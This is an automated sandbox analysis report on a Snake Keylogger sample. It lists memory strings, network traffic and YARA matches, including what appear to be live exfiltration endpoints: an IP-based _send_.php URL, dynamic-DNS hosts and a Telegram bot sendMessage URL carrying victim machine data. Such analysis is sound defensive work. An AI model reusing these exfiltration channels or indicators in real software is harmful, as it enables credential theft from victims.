Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Tue, 11 Mar 2025 05:10:45 GMTContent-Type: application/jsonContent-Length: 55Connection: closeStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadAccess-Control-Allow-Origin: *Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Tue, 11 Mar 2025 05:10:54 GMTContent-Type: application/jsonContent-Length: 55Connection: closeStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadAccess-Control-Allow-Origin: *Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection

Source: InstallUtil.exe, 00000001.00000002.2570925272.0000000002C2E000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.2569306283.00000000024CB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.38.247.67:8081/_send_.php?L
Source: pbgjw8i8N7.exe, 00000000.00000002.1349861546.0000000003ACD000.00000004.00000800.00020000.00000000.sdmp, pbgjw8i8N7.exe, 00000000.00000002.1349861546.00000000039B9000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.2565094971.0000000000423000.00000040.00000400.00020000.00000000.sdmp, XsdType.exe, 00000003.00000002.1478818577.0000000003BBB000.00000004.00000800.00020000.00000000.sdmp, XsdType.exe, 00000003.00000002.1478818577.0000000003AD3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.38.247.67:8081/_send_.php?LCapplication/x-www-form-urlencoded
Source: pbgjw8i8N7.exe, 00000000.00000002.1349861546.0000000003ACD000.00000004.00000800.00020000.00000000.sdmp, pbgjw8i8N7.exe, 00000000.00000002.1349861546.00000000039B9000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.2570925272.0000000002B21000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.2565094971.0000000000423000.00000040.00000400.00020000.00000000.sdmp, XsdType.exe, 00000003.00000002.1478818577.0000000003BBB000.00000004.00000800.00020000.00000000.sdmp, XsdType.exe, 00000003.00000002.1478818577.0000000003AD3000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.2569306283.00000000023C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://aborters.duckdns.org:8081
Source: pbgjw8i8N7.exe, 00000000.00000002.1349861546.0000000003ACD000.00000004.00000800.00020000.00000000.sdmp, pbgjw8i8N7.exe, 00000000.00000002.1349861546.00000000039B9000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.2570925272.0000000002B21000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.2565094971.0000000000423000.00000040.00000400.00020000.00000000.sdmp, XsdType.exe, 00000003.00000002.1478818577.0000000003BBB000.00000004.00000800.00020000.00000000.sdmp, XsdType.exe, 00000003.00000002.1478818577.0000000003AD3000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.2569306283.00000000023C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anotherarmy.dns.army:8081
Source: InstallUtil.exe, 00000001.00000002.2570925272.0000000002CEB000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.2569306283.000000000259F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.telegram.org
Source: InstallUtil.exe, 00000001.00000002.2570925272.0000000002CDD000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.2570925272.0000000002CEB000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.2569306283.000000000257A000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.2569306283.0000000002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.com
Source: InstallUtil.exe, 00000001.00000002.2570925272.0000000002B21000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.2570925272.0000000002CDD000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.2570925272.0000000002CEB000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.2569306283.000000000257A000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.2569306283.0000000002590000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.2569306283.00000000023C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org
Source: InstallUtil.exe, 00000001.00000002.2570925272.0000000002B21000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.2569306283.00000000023C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: pbgjw8i8N7.exe, 00000000.00000002.1349861546.0000000003ACD000.00000004.00000800.00020000.00000000.sdmp, pbgjw8i8N7.exe, 00000000.00000002.1349861546.00000000039B9000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.2565094971.0000000000423000.00000040.00000400.00020000.00000000.sdmp, XsdType.exe, 00000003.00000002.1478818577.0000000003BBB000.00000004.00000800.00020000.00000000.sdmp, XsdType.exe, 00000003.00000002.1478818577.0000000003AD3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/q
Source: InstallUtil.exe, 00000001.00000002.2570925272.0000000002C49000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.2569306283.00000000024E8000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.2569306283.00000000024EC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mail.iaa-airferight.com
Source: InstallUtil.exe, 00000001.00000002.2570925272.0000000002CDD000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.2570925272.0000000002CEB000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.2569306283.000000000257A000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.2569306283.0000000002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://reallyfreegeoip.org
Source: pbgjw8i8N7.exe, 00000000.00000002.1331701274.0000000002971000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.2570925272.0000000002B21000.00000004.00000800.00020000.00000000.sdmp, XsdType.exe, 00000003.00000002.1463433201.0000000002A11000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.2569306283.00000000023C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: pbgjw8i8N7.exe, 00000000.00000002.1349861546.0000000003ACD000.00000004.00000800.00020000.00000000.sdmp, pbgjw8i8N7.exe, 00000000.00000002.1349861546.00000000039B9000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.2570925272.0000000002B21000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.2565094971.0000000000423000.00000040.00000400.00020000.00000000.sdmp, XsdType.exe, 00000003.00000002.1478818577.0000000003BBB000.00000004.00000800.00020000.00000000.sdmp, XsdType.exe, 00000003.00000002.1478818577.0000000003AD3000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.2569306283.00000000023C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://varders.kozow.com:8081
Source: InstallUtil.exe, 00000004.00000002.2573801314.00000000034EC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org?q=
Source: InstallUtil.exe, 00000001.00000002.2570925272.0000000002CEB000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.2569306283.000000000259F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram
Source: InstallUtil.exe, 00000001.00000002.2570925272.0000000002CEB000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.2570925272.0000000002C0A000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.2569306283.000000000259F000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.2569306283.00000000024A7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: pbgjw8i8N7.exe, 00000000.00000002.1349861546.0000000003ACD000.00000004.00000800.00020000.00000000.sdmp, pbgjw8i8N7.exe, 00000000.00000002.1349861546.00000000039B9000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.2570925272.0000000002CEB000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.2565094971.0000000000423000.00000040.00000400.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.2570925272.0000000002C0A000.00000004.00000800.00020000.00000000.sdmp, XsdType.exe, 00000003.00000002.1478818577.0000000003BBB000.00000004.00000800.00020000.00000000.sdmp, XsdType.exe, 00000003.00000002.1478818577.0000000003AD3000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.2569306283.000000000259F000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.2569306283.00000000024A7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: InstallUtil.exe, 00000001.00000002.2570925272.0000000002CEB000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.2570925272.0000000002C0A000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.2569306283.000000000259F000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.2569306283.00000000024A7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=
Source: InstallUtil.exe, 00000004.00000002.2569306283.000000000259F000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.2569306283.00000000024A7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:841618%0D%0ADate%20a
Source: InstallUtil.exe, 00000004.00000002.2573801314.00000000034EC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: InstallUtil.exe, 00000001.00000002.2575465092.0000000003C4F000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.2573801314.00000000034EC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: InstallUtil.exe, 00000001.00000002.2575465092.0000000003C4F000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.2573801314.00000000034EC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: InstallUtil.exe, 00000004.00000002.2569306283.0000000002511000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=en
Source: InstallUtil.exe, 00000001.00000002.2570925272.0000000002C84000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.2569306283.0000000002520000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=en4
Source: InstallUtil.exe, 00000001.00000002.2570925272.0000000002C7F000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.2569306283.000000000251B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=enlB
Source: InstallUtil.exe, 00000004.00000002.2573801314.00000000034EC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: InstallUtil.exe, 00000001.00000002.2575465092.0000000003C4F000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.2573801314.00000000034EC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtabv209h
Source: InstallUtil.exe, 00000004.00000002.2573801314.00000000034EC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: InstallUtil.exe, 00000004.00000002.2573801314.00000000034EC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gemini.google.com/app?q=
Source: pbgjw8i8N7.exe, 00000000.00000002.1353290642.0000000005430000.00000004.08000000.00040000.00000000.sdmp, pbgjw8i8N7.exe, 00000000.00000002.1349861546.00000000039B9000.00000004.00000800.00020000.00000000.sdmp, XsdType.exe, 00000003.00000002.1478818577.0000000003A11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-net
Source: pbgjw8i8N7.exe, 00000000.00000002.1353290642.0000000005430000.00000004.08000000.00040000.00000000.sdmp, pbgjw8i8N7.exe, 00000000.00000002.1349861546.00000000039B9000.00000004.00000800.00020000.00000000.sdmp, XsdType.exe, 00000003.00000002.1478818577.0000000003A11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-netJ
Source: pbgjw8i8N7.exe, 00000000.00000002.1353290642.0000000005430000.00000004.08000000.00040000.00000000.sdmp, pbgjw8i8N7.exe, 00000000.00000002.1349861546.00000000039B9000.00000004.00000800.00020000.00000000.sdmp, XsdType.exe, 00000003.00000002.1478818577.0000000003A11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-neti
Source: InstallUtil.exe, 00000001.00000002.2570925272.0000000002BE2000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.2570925272.0000000002CDD000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.2570925272.0000000002CEB000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.2570925272.0000000002B73000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.2570925272.0000000002C0A000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.2569306283.000000000257A000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.2569306283.000000000247F000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.2569306283.0000000002410000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.2569306283.00000000024A7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org
Source: pbgjw8i8N7.exe, 00000000.00000002.1349861546.0000000003ACD000.00000004.00000800.00020000.00000000.sdmp, pbgjw8i8N7.exe, 00000000.00000002.1349861546.00000000039B9000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.2570925272.0000000002B73000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.2565094971.0000000000423000.00000040.00000400.00020000.00000000.sdmp, XsdType.exe, 00000003.00000002.1478818577.0000000003BBB000.00000004.00000800.00020000.00000000.sdmp, XsdType.exe, 00000003.00000002.1478818577.0000000003AD3000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.2569306283.0000000002410000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: InstallUtil.exe, 00000004.00000002.2569306283.00000000024A7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.189
Source: InstallUtil.exe, 00000001.00000002.2570925272.0000000002BE2000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.2570925272.0000000002CDD000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.2570925272.0000000002CEB000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.2570925272.0000000002B9D000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.2570925272.0000000002C0A000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.2569306283.000000000257A000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.2569306283.0000000002590000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.2569306283.000000000243A000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.2569306283.000000000247F000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.2569306283.00000000024A7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.189$
Source: pbgjw8i8N7.exe, 00000000.00000002.1353290642.0000000005430000.00000004.08000000.00040000.00000000.sdmp, pbgjw8i8N7.exe, 00000000.00000002.1349861546.00000000039B9000.00000004.00000800.00020000.00000000.sdmp, XsdType.exe, 00000003.00000002.1478818577.0000000003A11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/11564914/23354;
Source: pbgjw8i8N7.exe, 00000000.00000002.1353290642.0000000005430000.00000004.08000000.00040000.00000000.sdmp, pbgjw8i8N7.exe, 00000000.00000002.1331701274.0000000002971000.00000004.00000800.00020000.00000000.sdmp, pbgjw8i8N7.exe, 00000000.00000002.1349861546.00000000039B9000.00000004.00000800.00020000.00000000.sdmp, XsdType.exe, 00000003.00000002.1478818577.0000000003A11000.00000004.00000800.00020000.00000000.sdmp, XsdType.exe, 00000003.00000002.1463433201.0000000002A11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/14436606/23354
Source: pbgjw8i8N7.exe, 00000000.00000002.1353290642.0000000005430000.00000004.08000000.00040000.00000000.sdmp, pbgjw8i8N7.exe, 00000000.00000002.1349861546.00000000039B9000.00000004.00000800.00020000.00000000.sdmp, XsdType.exe, 00000003.00000002.1478818577.0000000003A11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/2152978/23354
Source: InstallUtil.exe, 00000001.00000002.2575465092.0000000003C4F000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.2573801314.00000000034EC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/v20
Source: InstallUtil.exe, 00000001.00000002.2575465092.0000000003C4F000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.2573801314.00000000034EC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_alldp.ico
Source: InstallUtil.exe, 00000004.00000002.2569306283.0000000002551000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.2569306283.00000000024CB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/
Source: InstallUtil.exe, 00000001.00000002.2570925272.0000000002CB5000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.2569306283.0000000002551000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/4
Source: InstallUtil.exe, 00000001.00000002.2570925272.0000000002CB0000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.2569306283.000000000254C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/lB

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.5:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.5:49753 version: TLS 1.2

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Window created: window name: CLIPBRDWNDCLASS

Jump to behavior

System Summary

Malicious sample detected (through community Yara rule)

Source: 1.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 1.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.pbgjw8i8N7.exe.3d0c7d0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.pbgjw8i8N7.exe.3d0c7d0.1.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.pbgjw8i8N7.exe.3d0c7d0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.pbgjw8i8N7.exe.3d0c7d0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 3.2.XsdType.exe.3bbbdb0.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 3.2.XsdType.exe.3bbbdb0.2.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 3.2.XsdType.exe.3bbbdb0.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 3.2.XsdType.exe.3bbbdb0.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.pbgjw8i8N7.exe.3acd590.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.pbgjw8i8N7.exe.3acd590.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.pbgjw8i8N7.exe.3b1bdb0.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.pbgjw8i8N7.exe.3b1bdb0.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 00000003.00000002.1478818577.0000000003AD3000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000003.00000002.1478818577.0000000003BBB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000001.00000002.2565094971.0000000000423000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000000.00000002.1349861546.00000000039B9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000000.00000002.1349861546.0000000003ACD000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: pbgjw8i8N7.exe PID: 1988, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: InstallUtil.exe PID: 8068, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: XsdType.exe PID: 6732, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Code function: 0_2_00EB1930	0_2_00EB1930
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Code function: 0_2_00EB1921	0_2_00EB1921
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Code function: 0_2_00EB2BA1	0_2_00EB2BA1
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Code function: 0_2_00EB1BB0	0_2_00EB1BB0
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Code function: 0_2_00EB1B4D	0_2_00EB1B4D
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Code function: 0_2_00EB1C06	0_2_00EB1C06
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Code function: 0_2_00EB2618	0_2_00EB2618
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Code function: 0_2_00EB2613	0_2_00EB2613
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Code function: 0_2_04E9956B	0_2_04E9956B
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Code function: 0_2_04E95660	0_2_04E95660
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Code function: 0_2_04E9F850	0_2_04E9F850
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Code function: 0_2_04E97BF7	0_2_04E97BF7
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Code function: 0_2_04E91C48	0_2_04E91C48
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Code function: 0_2_04E91C39	0_2_04E91C39
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Code function: 0_2_04E95650	0_2_04E95650
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Code function: 0_2_04E9DB6F	0_2_04E9DB6F
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Code function: 0_2_04FF2B48	0_2_04FF2B48
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Code function: 0_2_04FF2B0C	0_2_04FF2B0C
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Code function: 0_2_05127118	0_2_05127118
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Code function: 0_2_0512710A	0_2_0512710A
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Code function: 0_2_0512E9B0	0_2_0512E9B0
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Code function: 0_2_051277CF	0_2_051277CF
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Code function: 0_2_05120A5F	0_2_05120A5F
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Code function: 0_2_05120A70	0_2_05120A70
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Code function: 0_2_051E1A90	0_2_051E1A90
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Code function: 0_2_051E1DBF	0_2_051E1DBF
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Code function: 0_2_051E1DF9	0_2_051E1DF9
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Code function: 0_2_051E1630	0_2_051E1630
